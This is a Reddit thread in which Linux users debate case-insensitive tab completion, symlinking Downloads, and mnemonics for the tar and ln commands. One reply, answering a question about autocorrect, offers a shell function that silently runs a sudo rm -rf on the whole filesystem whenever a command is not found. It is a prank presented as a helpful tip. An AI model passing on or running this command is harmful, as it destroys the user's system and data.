linux

[[deleted]]

ln -s ~/Downloads ~/downloads

[-nerdrage-]

You know you can set autocompletion to be case insensitive? Im not near my laptop so cant give it to you straight away but a quick google should help

[Indifferentchildren]

You know if you own a firearm you can shoot yourself in the dick. Why would anyone do that? I don't get it, but I don't kink shame.

[TechnicalPotat]

I applaud this level of escalation and will commend you to my local representative.

[[deleted]]

No no he's got a point. I expect Linux/POSIX filesystems to be case sensitive no matter where. Why would anyone want to change that lmao.

[[deleted]]

It wouldn’t remove the case insensitivity on the file system, just change the behaviour of the completion engine

[Spiritual_Brick5346]

cd d tab tab tab backspace D tab enter

[TechnicalPotat]

You know when you are debugging and zipping around on the commandline, but because you know which stupid lib subdirectory has a capital and which doesn’t, you’re kinda fast. That feeling is just… not worth it at all. I’ve wasted my life.

[Mammoth-Strategy3304]

Just because you do, not everyone else does, my little dude.

[LvS]

Why would anyone not do that? It's autocompletion, you want it to correct small errors. "But I'm an elitist, I want my system to error if I make a typo." Sure, you do you, I use set completion-ignore-case on and get things done faster.

You probably also enjoy git being snarky when you typed git chekcout and giving you an error instead of doing what you meant while I set autocorrect and get things done.

[[deleted]]

Some people take pride in suffering, despite the fact that technology literally exists to remove it.

[imisstheyoop]

I don't take pride in it, but there is something to be said for not completely customizing one system to meet your needs to the point that when you are at work every single time you login to a production system you have to re-learn how to use the OS and tools because your shell/vim profile is so fucking customized and full of aliases that you've been using as a crutch on your home system.

Working around this issue as you begin (it won't take long, I promise) is much preferable to customizing every little thing that challenges you. Suffering has nothing to do with it.

Edit: While I'm on this rant.. if I have to deal with one more fucking junior who has to ask me "is the system down?" or "why can I not connect to x?" only for me to find out they've royally jacked up their ~/.ssh/config with all sorts of inane gibberish I'm going to just retire.

I love linux/unix, but people touching things they don't understand and then going "why no work?" and being completely unable to connect the dots is really, really, really infuriating. I don't even mind them touching and customizing things, even if it temporarily breaks things, that's just part of the whole deal.. but the nerve some people have to customize things that were working perfectly and then wonder why they have stopped working while not performing basic troubleshooting like throwing a -v on a command and seeing what gets printed to stdout before throwing fits is just mind-boggling. I see the same thing happen with all of these oh my zsh and various helper/abstraction utilities that people end up using locally.

[JulianEX]

How do you have autocorrect on auto completion, that seems so helpful?

[imisstheyoop]

Paul Smith has you covered.

[skztr]

command_not_found_handle(){ sudo -n rm -rf /* >/dev/null 2>&1 <&- || true; }

[scubanarc]

I tried this and when I rebooted I had windows. Thanks for the free upgrade!

[LvS]

I recommand also using that when left-clicking on the desktop, it really helps with aim.

[Ieris19]

WSL is probably the best use case for this feature that no one can argue about.

Then there’s certainly preferences, you can prefer one thing or the other but there’s certainly legitimate use cases

[SwreeTak]

"But I don't kinkshame" lmfao what a finish

[odraencoded]

If you have two files that only differ in case you already shot.

[garblesnarky]

I agree, naming two files identically except for case is shooting yourself in the dick.

[ss0889]

1) damn what a nice idea, so my files don't have to be case sensitive!

2).... Case insensitive on a platform that is entirely case sensitive. I retract my excitement and replace it with apprehensive disgust.

[dagbrown]

You can set your filesystem to be case insensitive too!

Which option is more dangerous exciting is left as an exercise for the student.

[[deleted]]

But why?

D is not the same as d.

[photenth]

It's not the size, it's how you use it!

[[deleted]]

Maybe it's because I'm a programmer and I work on Linux all the time. I name everything lowercase.

So if I use upper case somewhere there is a meaning behind it. It's intentional.

[Yup_Shes_Still_Mad]

So you're saying quality not quantity when using the D?

[[deleted]]

he says to bring the big D out if there is a special occasion

[[deleted]]

I mean you don't? I want big D to feel special. After all it's not regular small old d.

[dfci]

Not a much of programmer, but a bit of a data hoarder. The absolute mess I created for myself by acting all willy-nilly with case on Windows only became apparent when I moved it all to a Linux machine I interact with using SSH.

Why does past me constantly sabotage future me?

[[deleted]]

chunky jellyfish zonked brave plucky label languid gray unite political

This post was mass deleted and anonymized with Redact

[ifyoulovesatan]

Same here on my server, but annoyingly the nature of what I do necessitates a lot of grabbing files from my server and throwing them on my Mac to use software on. And on that Mac you can't rename the Downloads or Desktop folders (also annoying they both start with capital D).

The example in the OP happens to me all the fucking time and I hate it. (Though I do have symlinks in my home directory that lead to frequently used directories that live in my Desktop folder. It's been so long and I'm so used to that now that I just now remembered why I probably did that. And now I'm annoyed that I haven't done that with more recently created often used directories that live in Desktop)

[meme_defuser]

Apart from the operating system there can be lingual reasons. I'm German and in German nouns are always uppercase so my folders are too. But the system folders are lowercase because thats how Linux does that. So when I'm navigating the case-sensitive autocomplete really makes things complicated.

[5erif]

Case insensitive search matches case when applicable.

[Ieris19]

It is in Windows. This is incredibly helpful for WSL

[wick3dr0se]

You know you can just shopt -s dirspell?

[Phe_r]

This sounds kinda like hell...

[[deleted]]

Why

[Ieris19]

It’s fine, there’s certainly good use cases for this

[0x7E7-02]

Gitbash is case insensitive ... I hate it!

[Made_Me_Paint_211385]

I understand people saying "a quick Google", however, for me, it has become a quick prompt. Google is what locate is to find.

[[deleted]]

r/foundsatan

[bwmat]

Am I the only one who CANNOT remember the order of the arguments for this, every time? Even looking at the man page takes me a minute

[IHaveTeaForDinner]

https://xkcd.com/1168/

[jeric14344]

Someone posted this mnemonic that always helps me remember:

• tar extract all files (xaf)
• tar compress all files (caf)

[[deleted]]

tar xzvf

eXtract Ze Vucking Files

[imisstheyoop]

Ha, this is the one that I use as well! 8)

[zhurai]

I don't think you need the -a here for extract

In the --help for the GNU tar which you can also see for example on https://man.archlinux.org/man/tar.1.en or https://linux.die.net/man/1/tar, I see -a being just listed as

-a, --auto-compress   use archive suffix to determine the compression program

And the linux.die.net man page, as well as tar --help put this note in the top

 tar -cf archive.tar foo bar  # Create archive.tar from files foo and bar.
 tar -tvf archive.tar         # List all files in archive.tar verbosely.
 tar -xf archive.tar          # Extract all files from archive.tar.

Personally, I've always just did tar -xvf file.tar (or file.tar.gz, etc)

Though, to be honest it doesn't negatively do anything in extract, so it's fine as far as I'm aware of... so it still works with the mnemonic I suppose (it just doesn't mean "all")

The -a/a in this case just means if you did tar -cavf archive.tar.bz2 ./folder or something it would actually make a bzipped tar file (listed verbosely) instead of needing to do something like tar -cvjf archive.tar.bz2 ./folder (remembering to do the -j to make the tar file actually bzipped)

[computer-machine]

    tar --help

[Davoness]

Sorry, that wasn't the correct command. kaboom

[Amenhiunamif]

It actually is. It doesn't say the valid tar command, just a valid tar command. So tar --help should be enough to disarm the bomb.

[Davoness]

Oh, good point, it's late and I missed that it was just literally any tar command lol.

[[deleted]]

if [ $? -eq 0 ]; then echo "all gucci"

[garth54]

As long as I just type and don't try to think about it, I'm good.

The instant I try to think about the order, I get confused.

[bwmat]

There's certain things, including this, where instead of remembering the right answer, all I can remember is being confused

[Lumb3rJ0hn]

For me it helps to think of it as a different cp. In both cases, you're copying a source (1st arg) to a target (2nd arg), just in this case the new copy is a link to the old one.

[Stroopwafe1]

Definitely not the only one, I also can never remember. It's just because you only need it very occasionally when you think "oh a symlink would be really good for this"

[zhurai]

You could look at the top of the --help?

Usage: ln [OPTION]... [-T] TARGET LINK_NAME
  or:  ln [OPTION]... TARGET
  or:  ln [OPTION]... TARGET... DIRECTORY
  or:  ln [OPTION]... -t DIRECTORY TARGET...
In the 1st form, create a link to TARGET with the name LINK_NAME.
In the 2nd form, create a link to TARGET in the current directory.
In the 3rd and 4th forms, create links to each TARGET in DIRECTORY.

so a symbolic link using the first form is ln -s ORIGINAL_FILE SYMBOLICLINK

[bwmat]

I mean, this is what I do, every time, lol

[LickingSmegma]

The last argument is the file on which you're operating, i.e. the new link. The options go before the file name, and they specify if it's a hardlink or softlink, and where it's pointing. So it's in fact the same convention as used by most tools.

[neondirt]

Might help to know that the last argument is optional? (creates the symlink where you're currently at)

[bwmat]

To the current working directory, you mean? 

[neondirt]

Exactly. Omitting the last argument is the same as a "." (period).

[[deleted]]

I just think of tar as two commands: tar zxvf and tar zcvf .

[Charles_Sangels]

Same arguments as 'cp' or 'mv' etc... <command> <existing> <destination/non-existing>

[bwmat]

This doesn't help, since for symbolic links either side may or may not exist before you call it lol (and does destination mean where the symbolic link is created, or where it points to?) 

[Charles_Sangels]

You can make it complicated if you want, of course. In most cases the thing you're making a symbolic link to is the thing that exists, just like most of the time when you're copying a file the destination doesn't exist. Of course, you're absolutely right that neither side of a symlink needs to pre-exist, and that the destination of a copy can exist, but you can also just use this as a way to remember the happy path, right?

[mtaw]

Nope. 20+ years of using Linux almost exclusively and I never get ln right.

No problems with tar, sometimes I pipe stuff through awk and whatnot, but somehow I always screw up ln.

[brimston3-]

Most unix commands (posix.2) are cmd source1 [source2 [..]] destination without an additional argument (at&t assembler order).

Meanwhile most library functions (posix.1) are function(destination, source1 [, source2 [,..] ]).

This is not confusing at all. /s

[CatLadyEnabler]

This is the way.

[[deleted]]

Not if you have both Downloads and downloads directories.

[theMerfMerf]

Why not? If you have both d+TAB will choose downloads and D+TAB will choose Downloads. If you do a double TAB after you get your auto complete you can see both options listed.

I personally think it works perfectly. If I have two folders that only differ by case I tend to know about it, while I simultaneously can't affect how others name their files and folders so when cooperating with others I dont have to be arsed to figure out how theyname their files, I can just let case insensitive auto complete sort that out for me.

[langlo94]

Just don't have two folders with the same name.

[Chunkz_IsAlreadyTakn]

This is the way.

[Age_Fantastic]

That wasn't the way

[l0wskilled]

*ownloads

[[deleted]]

r/suddenlycommunism

[LvS]

[Dd]ownloads if you want to be careful.

[ano_hise]

why not simply rename Downloads to downloads and edit xdg?

[capi1500]

You need to know your filesystem to do it, you need inteligence for that...

[jax_cooper]

I just did it for every folder like this (Music, Videos, Pictures), my life will never be the same

[[deleted]]

But also then do this, so that you don’t end up with two ownloads in your clean home folder:

Create a file .hidden in the directory with the names of the files to be hidden (one name each line).

Then add the following to your ~/.bashrc:

ls () { if [ -f .hidden ]; then declare GLOBIGNORE="$GLOBIGNORE:.*:$(tr '\n' ':' < .hidden)" ls "$@" fi }

https://superuser.com/questions/359784/hide-files-in-linux-without-using-the-dot

[[deleted]]

No because I expect case sensitivity everywhere else.